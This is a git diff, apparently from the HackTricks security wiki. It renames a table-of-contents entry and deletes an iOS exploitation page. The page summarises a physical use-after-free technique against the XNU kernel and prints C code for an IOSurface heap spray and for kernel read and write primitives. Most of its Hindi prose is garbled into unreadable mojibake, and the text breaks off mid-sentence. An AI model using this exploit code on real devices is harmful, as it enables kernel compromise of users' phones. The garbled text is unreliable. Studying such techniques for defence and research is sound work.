diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # ЁЯдЦ AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 2312e2790..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Physical use-after-free - -рдпрд╣ рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) рд╕реЗ, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) рдореЗрдВ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред - -### Memory management in XNU - -iOS рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП **рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕** **0x0 рд╕реЗ 0x8000000000** рддрдХ рдлреИрд▓рд╛ рд╣реБрдЖ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпреЗ рдкрддреЗ рд╕реАрдзреЗ рднреМрддрд┐рдХ рдореЗрдореЛрд░реА рд╕реЗ рдирд╣реАрдВ рдЬреБрдбрд╝реЗ рд╣реЛрддреЗред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **рдХрд░реНрдиреЗрд▓** **рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛рдУрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдкрддреЗ рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ **рднреМрддрд┐рдХ рдкрддреЗ** рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рддрд╛ рд╣реИред - -#### Levels of Page Tables in iOS - -рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛рдПрдБ рддреАрди рд╕реНрддрд░реЛрдВ рдореЗрдВ рдкрджрд╛рдиреБрдХреНрд░рдорд┐рдд рд╣реЛрддреА рд╣реИрдВ: - -1. **L1 Page Table (Level 1)**: -* рдпрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдХреА рдПрдХ рдмрдбрд╝реА рд░реЗрдВрдЬ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИред -* рдпрд╣ **0x1000000000 рдмрд╛рдЗрдЯреНрд╕** (рдпрд╛ **256 рдЬреАрдмреА**) рдХреА рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдХреЛ рдХрд╡рд░ рдХрд░рддреА рд╣реИред -2. **L2 Page Table (Level 2)**: -* рдпрд╣рд╛рдБ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдХреЗ рдПрдХ рдЫреЛрдЯреЗ рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **0x2000000 рдмрд╛рдЗрдЯреНрд╕** (32 рдПрдордмреА)ред -* рдпрджрд┐ L1 рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдкреВрд░реЗ рдХреНрд╖реЗрддреНрд░ рдХреЛ рд╕реНрд╡рдпрдВ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреА рд╣реИ, рддреЛ рдпрд╣ L2 рддрд╛рд▓рд┐рдХрд╛ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИред -3. **L3 Page Table (Level 3)**: -* рдпрд╣ рд╕рдмрд╕реЗ рдмрд╛рд░реАрдХ рд╕реНрддрд░ рд╣реИ, рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдПрдХрд▓ **4 KB** рдореЗрдореЛрд░реА рдкреГрд╖реНрда рдХреЛ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдХрд░рддреА рд╣реИред -* рдпрджрд┐ рдЕрдзрд┐рдХ рдмрд╛рд░реАрдХреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ L2 рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ L3 рддрд╛рд▓рд┐рдХрд╛ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИред - -#### Mapping Virtual to Physical Memory - -* **Direct Mapping (Block Mapping)**: -* рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХреБрдЫ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╕реАрдзреЗ **рд╡рд░реНрдЪреБрдЕрд▓ рдкрддреЛрдВ рдХреА рдПрдХ рд░реЗрдВрдЬ** рдХреЛ рднреМрддрд┐рдХ рдкрддреЛрдВ рдХреА рдПрдХ рдирд┐рд░рдВрддрд░ рд░реЗрдВрдЬ рд╕реЗ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдХрд░рддреА рд╣реИрдВ (рдЬреИрд╕реЗ рдПрдХ рд╢реЙрд░реНрдЯрдХрдЯ)ред -* **Pointer to Child Page Table**: -* рдпрджрд┐ рдЕрдзрд┐рдХ рдмрд╛рд░реАрдХреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕реНрддрд░ (рдЬреИрд╕реЗ, L1) рдореЗрдВ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдЕрдЧрд▓реЗ рд╕реНрддрд░ (рдЬреИрд╕реЗ, L2) рдореЗрдВ рдПрдХ **рдмрд╛рд▓ рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИред - -#### Example: Mapping a Virtual Address - -рдорд╛рди рд▓реАрдЬрд┐рдП рдЖрдк рд╡рд░реНрдЪреБрдЕрд▓ рдкрддрд╛ **0x1000000000** рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ: - -1. **L1 Table**: -* рдХрд░реНрдиреЗрд▓ рдЗрд╕ рд╡рд░реНрдЪреБрдЕрд▓ рдкрддреЗ рдХреЗ рд▓рд┐рдП L1 рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЗрд╕рдореЗрдВ **L2 рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдкреЙрдЗрдВрдЯрд░** рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕ L2 рддрд╛рд▓рд┐рдХрд╛ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред -2. **L2 Table**: -* рдХрд░реНрдиреЗрд▓ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдорд╛рдирдЪрд┐рддреНрд░рдг рдХреЗ рд▓рд┐рдП L2 рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдПрдХ **L3 рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИ, рддреЛ рдпрд╣ рд╡рд╣рд╛рдБ рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реИред -3. **L3 Table**: -* рдХрд░реНрдиреЗрд▓ рдЕрдВрддрд┐рдо L3 рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рджреЗрдЦрддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореЗрдореЛрд░реА рдкреГрд╖реНрда рдХреЗ **рднреМрддрд┐рдХ рдкрддреЗ** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред - -#### Example of Address Mapping - -рдпрджрд┐ рдЖрдк рднреМрддрд┐рдХ рдкрддрд╛ **0x800004000** рдХреЛ L2 рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рдкрд╣рд▓реЗ рдЗрдВрдбреЗрдХреНрд╕ рдореЗрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рддреЛ: - -* рд╡рд░реНрдЪреБрдЕрд▓ рдкрддреЗ **0x1000000000** рд╕реЗ **0x1002000000** рднреМрддрд┐рдХ рдкрддреЛрдВ **0x800004000** рд╕реЗ **0x802004000** рддрдХ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред -* рдпрд╣ L2 рд╕реНрддрд░ рдкрд░ рдПрдХ **рдмреНрд▓реЙрдХ рдореИрдкрд┐рдВрдЧ** рд╣реИред - -рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдпрджрд┐ L2 рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ L3 рддрд╛рд▓рд┐рдХрд╛ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИ: - -* рд╡рд░реНрдЪреБрдЕрд▓ рдкрддрд╛ рд░реЗрдВрдЬ **0x1000000000 -> 0x1002000000** рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ 4 KB рдкреГрд╖реНрда L3 рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред - -### Physical use-after-free - -рдПрдХ **рднреМрддрд┐рдХ рдЙрдкрдпреЛрдЧ-рдХреЗ-рдмрд╛рдж-рдлреНрд░реА** (UAF) рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм: - -1. рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреБрдЫ рдореЗрдореЛрд░реА рдХреЛ **рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдФрд░ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп** рдХреЗ рд░реВрдк рдореЗрдВ **рдЖрд╡рдВрдЯрд┐рдд** рдХрд░рддреА рд╣реИред -2. **рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛рдПрдБ** рдЗрд╕ рдореЗрдореЛрд░реА рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рднреМрддрд┐рдХ рдкрддреЗ рд╕реЗ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдбреЗрдЯ рдХреА рдЬрд╛рддреА рд╣реИрдВ рдЬрд┐рд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреА рд╣реИред -3. рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдбрд┐рдСрд▓рдХреЗрдЯреНрд╕** (рдлреНрд░реА) рдореЗрдореЛрд░реАред -4. рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ **рдмрдЧ** рдХреЗ рдХрд╛рд░рдг, рдХрд░реНрдиреЗрд▓ рдкреГрд╖реНрда рддрд╛рд▓рд┐рдХрд╛рдУрдВ рд╕реЗ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХреЛ **рд╣рдЯрд╛рдирд╛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИ**, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рд╕рдВрдмрдВрдзрд┐рдд рднреМрддрд┐рдХ рдореЗрдореЛрд░реА рдХреЛ рдлреНрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рддрд╛ рд╣реИред -5. рдХрд░реНрдиреЗрд▓ рдлрд┐рд░ рдЗрд╕ "рдлреНрд░реА" рднреМрддрд┐рдХ рдореЗрдореЛрд░реА рдХреЛ рдЕрдиреНрдп рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП **рдлрд┐рд░ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ **рдХрд░реНрдиреЗрд▓ рдбреЗрдЯрд╛**ред -6. рдЪреВрдВрдХрд┐ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХреЛ рдирд╣реАрдВ рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЕрднреА рднреА рдЗрд╕ рднреМрддрд┐рдХ рдореЗрдореЛрд░реА рдХреЛ **рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред - -рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдХреЗ рдкреГрд╖реНрдареЛрдВ** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдпрд╛ рд╕рдВрд░рдЪрдирд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореЗрдВ рд╣реЗрд░рдлреЗрд░** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред - -### Exploitation Strategy: Heap Spray - -рдЪреВрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ рдХреМрди рд╕реЗ рд╡рд┐рд╢реЗрд╖ рдХрд░реНрдиреЗрд▓ рдкреГрд╖реНрда рдлреНрд░реА рдХреА рдЧрдИ рдореЗрдореЛрд░реА рдореЗрдВ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗ, рд╡реЗ рдПрдХ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **рд╣реАрдк рд╕реНрдкреНрд░реЗ** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ: - -1. рд╣рдорд▓рд╛рд╡рд░ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореЗрдВ **IOSurface рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕** рдХреА рдПрдХ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдмрдирд╛рддрд╛ рд╣реИред -2. рдкреНрд░рддреНрдпреЗрдХ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдЗрд╕рдХреЗ рдПрдХ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдПрдХ **рдЬрд╛рджреБрдИ рдорд╛рди** рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИред -3. рд╡реЗ **рдлреНрд░реА рдХрд┐рдП рдЧрдП рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╕реНрдХреИрди** рдХрд░рддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдлреНрд░реА рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдкрд░ рдЙрддрд░рд╛ рд╣реИред -4. рдЬрдм рд╡реЗ рдПрдХ рдлреНрд░реА рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдкрд░ рдПрдХ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╡реЗ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - -рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) рдореЗрдВ рд╣реИред - -### Step-by-Step Heap Spray Process - -1. **Spray IOSurface Objects**: рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ ("рдЬрд╛рджреБрдИ рдорд╛рди") рдХреЗ рд╕рд╛рде рдХрдИ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдмрдирд╛рддрд╛ рд╣реИред -2. **Scan Freed Pages**: рд╡реЗ рдЬрд╛рдВрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рдСрдмреНрдЬреЗрдХреНрдЯ рдлреНрд░реА рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдкрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -3. **Read/Write Kernel Memory**: IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ, рд╡реЗ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореЗрдВ **рдордирдорд╛рдиреЗ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ** рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ: -* рдПрдХ рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореЗрдВ **рдХрд┐рд╕реА рднреА 32-рдмрд┐рдЯ рдорд╛рди** рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред -* рджреВрд╕рд░реЗ рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **64-рдмрд┐рдЯ рдорд╛рди** рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╕реНрдерд┐рд░ **рдХрд░реНрдиреЗрд▓ рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреА рдкреНрд░рд╛рдЗрдорд┐рдЯрд┐рд╡** рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред - -IOSURFACE_MAGIC рдЬрд╛рджреБрдИ рдорд╛рди рдХреЗ рд╕рд╛рде IOSurface рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ рддрд╛рдХрд┐ рдмрд╛рдж рдореЗрдВ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -**`IOSurface`** рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдПрдХ рдореБрдХреНрдд рднреМрддрд┐рдХ рдкреГрд╖реНрда рдореЗрдВ рдЦреЛрдЬреЗрдВ: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### IOSurface рдХреЗ рд╕рд╛рде Kernel Read/Write рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ - -Kernel рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж (рдЬреЛ рдПрдХ рдореБрдХреНрдд рднреМрддрд┐рдХ рдкреГрд╖реНрда рд╕реЗ рдореИрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдерд╛рди рд╕реЗ рд╕реБрд▓рдн рд╣реИ), рд╣рдо рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдордирдорд╛рдиреЗ kernel рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - -**IOSurface рдореЗрдВ рдкреНрд░рдореБрдЦ рдлрд╝реАрд▓реНрдбреНрд╕** - -IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рджреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлрд╝реАрд▓реНрдбреНрд╕ рд╣реИрдВ: - -1. **рдЙрдкрдпреЛрдЧ рдЧрдгрдирд╛ рдкреЙрдЗрдВрдЯрд░**: рдПрдХ **32-рдмрд┐рдЯ рдкрдврд╝рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -2. **рд╕реВрдЪреАрдХреГрдд рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдкреЙрдЗрдВрдЯрд░**: рдПрдХ **64-рдмрд┐рдЯ рд▓рд┐рдЦрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - -рдЗрди рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ, рд╣рдо рдЙрдиреНрд╣реЗрдВ kernel рдореЗрдореЛрд░реА рдореЗрдВ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рд╕рдХреНрд╖рдо рд╣реЛрддреА рд╣реИрдВред - -#### 32-рдмрд┐рдЯ Kernel рдкрдврд╝рдирд╛ - -рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП: - -1. **рдЙрдкрдпреЛрдЧ рдЧрдгрдирд╛ рдкреЙрдЗрдВрдЯрд░** рдХреЛ рд▓рдХреНрд╖реНрдп рдкрддреЗ рдкрд░ 0x14-рдмрд╛рдЗрдЯ рдСрдлрд╕реЗрдЯ рдШрдЯрд╛рдХрд░ рдкреБрдирдГ рд▓рд┐рдЦреЗрдВред -2. рдЙрд╕ рдкрддреЗ рдкрд░ рдорд╛рди рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП `get_use_count` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-рдмрд┐рдЯ рдХрд░реНрдиреЗрд▓ рд▓рд┐рдЦреЗрдВ - -рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП: - -1. рд▓рдХреНрд╖рд┐рдд рдкрддреЗ рдкрд░ **рд╕реВрдЪреАрдмрджреНрдз рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдкреЙрдЗрдВрдЯрд░** рдХреЛ 